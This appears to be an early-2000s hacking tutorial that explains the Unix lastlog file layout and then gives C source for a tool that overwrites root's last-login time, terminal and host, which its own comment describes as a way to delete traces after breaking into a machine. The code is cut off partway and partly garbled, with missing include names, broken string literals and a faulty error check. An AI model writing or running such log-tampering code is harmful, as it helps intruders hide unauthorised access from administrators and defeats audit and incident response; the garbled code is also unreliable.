This tutorial was written to show Unix users how to create a simlpe Unix LogFile editor. I decided to write this article, right after I have read the tutorial by pajka (hysteria.sk), which talks about Unix LogFiles. This tutorial gives detailed information about LastLog logging file, the structure of the log file and how to change user´s entry. Of course, you are welcomed to try and build LogFiles editors for wtmp, utmp etc.
Lastlog logging file
The LastLog log file contains information on each valid user on the Unix machine. To view the contents of the file, you cannot use a viewer, but you can use the lastlog command to view the login-name (user), port (terminal), last-login, time and date. You can use the command to print information on indivisual user by using lastlog -u USER_NAME. Three things may happen; first, if the user does not exit on the machine, lastlog will print the following error message:
[[email protected] ~]$ lastlog -u no_user
Uknown User: no_user
If the requested user was never logged into the machine, lastlog will print **Never logged in**:
[[email protected] ~]$ lastlog -u adm
Username Port From Latest
adm **Never logged in**
If the requested user is valid, and was logged at least once to the machine, the following information will be printed:
[[email protected] ~]$ lastlog -u danny
Username Port From Latest
danny :0 Thu Aug 29 15:46:08 +0000 2002
[[email protected] ~]$ lastlog -u root
Username Port From Latest
root tty1 Mon Sep 2 23:29:49 +0000 2002
The system stores the information in /var/log/lastlog (or in /var/adm/lastlog). Once you called lastlog, it opens the file, formats and prints the contents of the last logging log. If you don not specify a user, lastlog prints all entries, sorted by UID:
[[email protected] ~]$ lastlog | less
Username Port From Latest
root tty1 Mon Sep 2 23:29:49 +0000 2002
bin **Never logged in**
daemon **Never logged in**
adm **Never logged in**
….
….
danny :0 Thu Aug 29 15:46:08 +0000 2002
As stated above, if no user was supplied, lastlog would print all entries, sorted by UID. So, if we check the first four lines of /etc/passwd, and compare it to the first four lines of laslog | less, we´ll find them equal:
[[email protected] ~]$ head -n 4 /etc/passwd
root:x:0….
bin:x:1….
daemon:x:2…
adm:x3:…
The lastlog log file contains all valid users on the machine, and each one of them “have” a structure, which is filled with the details about each user´s login information. When you add a new user to the system, a unique ID is being assigned to that user, and LastLog file is updated automatically. The structure of LastLog file:
0 (struct lastlog) address: 0 (UID) x sizeof(struct lastlog)
1 (struct lastlog) address: 1 (UID) x sizeof(struct lastlog)
…
…
500 (struct lastlog) address: 500 (UID) x sizeof(struct lastlog)
* If you add a new user, a new entry will be supplied to that user *
501 (struct lastlog) address: 501 (UID) x sizeof(struct lastlog)
The Lastlog Editor
In my Lastlog editor, I have used the lastlog structure, which is defined in /bits/utmp.h (/usr/include/bits/utmp.h). The structure is defined as followed:
struct lastlog
{
__time_t ll_time;
char ll_line[UT_LINESIZE];
char ll_host[UT_HOSTSIZE];
}
The ll_time contains the time and date the user was last logged, ll_line contains the port or terminal the user was logged from, ll_host contains the host, which the user was logged from (remotely). The propose of the editor is to change the information in this structure for the user root. The output of lastlog for user root:
[[email protected] ~]$ lastlog -u root
Username Port From Latest
root tty1 Mon Sep 2 23:29:49 +0000 2002
On my machine, I was last logged on Monday September 2sd at 23:29:49 PM. Assume that I have got an access to a Unix machine. Once I logged with root or any other account, it will be logged and appear in /var/log/lastog (/var/adm/lastlog). This will cause a problem, since any serious administrator will check the lastlog file if he smells something suspicious. Here comes my small LastLog editor….
[code]
/*
* Lastlog log editor
*
* Useful to delete your traces when you break into a
* Unix machine, on which syslog daemon is running.
*
* Copyright (c) Danny (Dr.T) 2002
* [email protected]
*
*/
#include
#include
#include
#include
#include
#include
static char *s_hname = NULL; /* hostname */
static char *s_tdate = NULL; /* time & date */
static char *s_term = NULL; /* s_terminal/port */
static void usage(char *argv)
{
/* print usage for LastLog editor */
printf(“LastLog Editor by Danny (Dr.T)
Usage: %s [options]”, argv);
printf(” [-h hostname]”);
printf(” -d date”);
printf(” -t s_terminal
“);
exit(-1);
}
static void free_memory_and_exit(char *msg)
{
if (msg)
fprintf(stderr, “Error: %s
“, msg);
if (s_hname)
{
free(s_hname);
s_hname = NULL;
}
if (s_tdate)
{
free(s_tdate);
s_tdate = NULL;
}
if (s_term)
{
free(s_term);
s_term = NULL;
}
exit(-1);
}
int main(int argc, char **argv)
{
struct lastlog sll;
int c, file_hd = -1, sz_ll;
/* check if we are running as root */
if (getuid() > 0)
{
free_memory_and_exit(“only root can run me!!”);
}
/* check if we got seven or five (hostname omitted) arguments */
if (argc != 7 && argc != 5)
usage(argv[0]);
while ((c = getopt(argc, argv, “h:d:t:”)) != -1)
{
if (optarg == NULL)
free_memory_and_exit(“command line parsing failed”);
switch(c)
{
case ´h´:
if (strlen(optarg) > UT_HOSTSIZE -1)
free_memory_and_exit(“hostname too long”);
s_hname = (char *)malloc(strlen(optarg)+1);
if (s_hname == NULL)
free_memory_and_exit(“malloc() failed”);
strcpy(s_hname,optarg);
break;
case ´d´:
s_tdate = (char *)malloc(strlen(optarg)+1);
if (s_tdate == NULL)
{
free_memory_and_exit(“malloc() failed”);
}
strcpy(s_tdate,optarg);
break;
case ´t´:
s_term = (char *)malloc(strlen(optarg)+1);
if (s_term == NULL)
{
free_memory_and_exit(“malloc() failed”);
}
strcpy(s_term,optarg);
break;
default:
free_memory_and_exit(“command line parsing failed”);
break;
}
}
/* open lastlog file and check for errors */
file_hd = open (“/var/log/lastlog”, O_RDWR);
if (file_hd < -1)
free_memory_and_exit(“open() /var/log/lastlog failed”);
/* get the lastlog struct size */
sz_ll = sizeof (struct lastlog);
/* set file pointer to the UID lastlog structure */
if ((lseek(file_hd, sz_ll * getuid(), SEEK_SET)) < 0)
free_memory_and_exit(“lseek() failed”);
/* read information about UID to sll */
if ((read(file_hd, &sll, sz_ll)) < 0)
free_memory_and_exit(“read() failed”);
/* set new time & date */
sll.ll_time = atoi(s_tdate);
/* set new s_terminal/port */
strncpy(sll.ll_line, s_term, sizeof(sll.ll_line));
/* set the new hostname if specified */
if (s_hname == NULL)
sll.ll_host[0] = ´